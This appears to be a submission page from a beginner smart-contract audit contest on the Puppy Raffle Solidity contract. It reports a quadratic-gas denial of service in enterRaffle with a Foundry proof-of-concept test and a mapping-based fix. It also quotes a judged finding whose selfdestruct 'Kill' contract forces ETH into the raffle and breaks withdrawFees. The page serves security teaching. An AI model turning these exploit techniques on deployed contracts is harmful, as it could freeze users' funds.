Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Denial of Service threat in `enterRaffle` due to quadratic gas growth in duplicate check

oxabelle

PuppyRaffle::enterRaffle is vulnerable to Denial of Service (DoS) due to quadratic gas growth in duplicate check

Description

The enterRaffle function uses a nested loop to check for duplicate addresses. As the number of participants increases, the gas cost grows quadratically (), eventually exceeding the block gas limit and preventing new users from joining the raffle.

Vulnerability Detail

The enterRaffle function iterates through the entire players array for each player being added to ensure no duplicates exist:

// PuppyRaffle.sol: line 100
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

This nested loop structure means that for players already in the raffle, adding a new batch of players requires roughly comparisons. As the raffle progresses and grows large, the computational effort (and thus gas cost) increases exponentially relative to the array size.

Impact

A malicious actor or even organic growth in popularity can cause the players array to grow to a size where the enterRaffle function consumes more gas than allowed in a single block (e.g., 30,000,000 gas on Ethereum). Once this threshold is reached, no more players can enter the raffle, effectively bricking the core functionality of the protocol.

Risk

This vulnerability risks reverting once the gas limit is reached thus preventing any other player from joining the raffle forever.

Proof of Concept

The following test demonstrates the rapid increase in gas costs. With just 300 players, the gas cost exceeds 30 million.

// test/PoC_DoS.t.sol
function testDenialOfService() public {
vm.txGasPrice(1);
​
uint256 playersToEnter = 100;
address[] memory players = new address[](playersToEnter);
for (uint256 i = 0; i < playersToEnter; i++) {
players[i] = address(i + 1);
}
​
// First 100 players
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
uint256 gasUsedFirstBatch = gasStart - gasleft();
​
// Next 100 players (Total 200)
for (uint256 i = 0; i < playersToEnter; i++) {
players[i] = address(i + 1 + playersToEnter);
}
gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
uint256 gasUsedSecondBatch = gasStart - gasleft();
​
// Next 100 players (Total 300)
for (uint256 i = 0; i < playersToEnter; i++) {
players[i] = address(i + 1 + 2 * playersToEnter);
}
gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
uint256 gasUsedThirdBatch = gasStart - gasleft();
​
console.log("Gas used for first 100 players: ", gasUsedFirstBatch);
console.log("Gas used for second 100 players: ", gasUsedSecondBatch);
console.log("Gas used for third 100 players: ", gasUsedThirdBatch);
​
assert(gasUsedThirdBatch > 30_000_000); // Exceeds standard block gas limit
}

Observed Gas Costs:

  • 100 Players: ~6.5M gas

  • 200 Players: ~19M gas

  • 300 Players: ~39.8M gas (Denial of Service)

Recommended Mitigation

Replace the nested loop with a mapping(address => bool) to track participants. Mappings provide lookup time, ensuring gas costs remain linear () based only on the number of players being added in the current transaction.

+ mapping(address => bool) public isPlayer;
​
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(!isPlayer[newPlayers[i]], "PuppyRaffle: Duplicate player");
players.push(newPlayers[i]);
+ isPlayer[newPlayers[i]] = true;
}
- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
- }
emit RaffleEnter(newPlayers);
}

Note: The isPlayer mapping must be reset when players is cleared in selectWinner or when a player is refunded.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!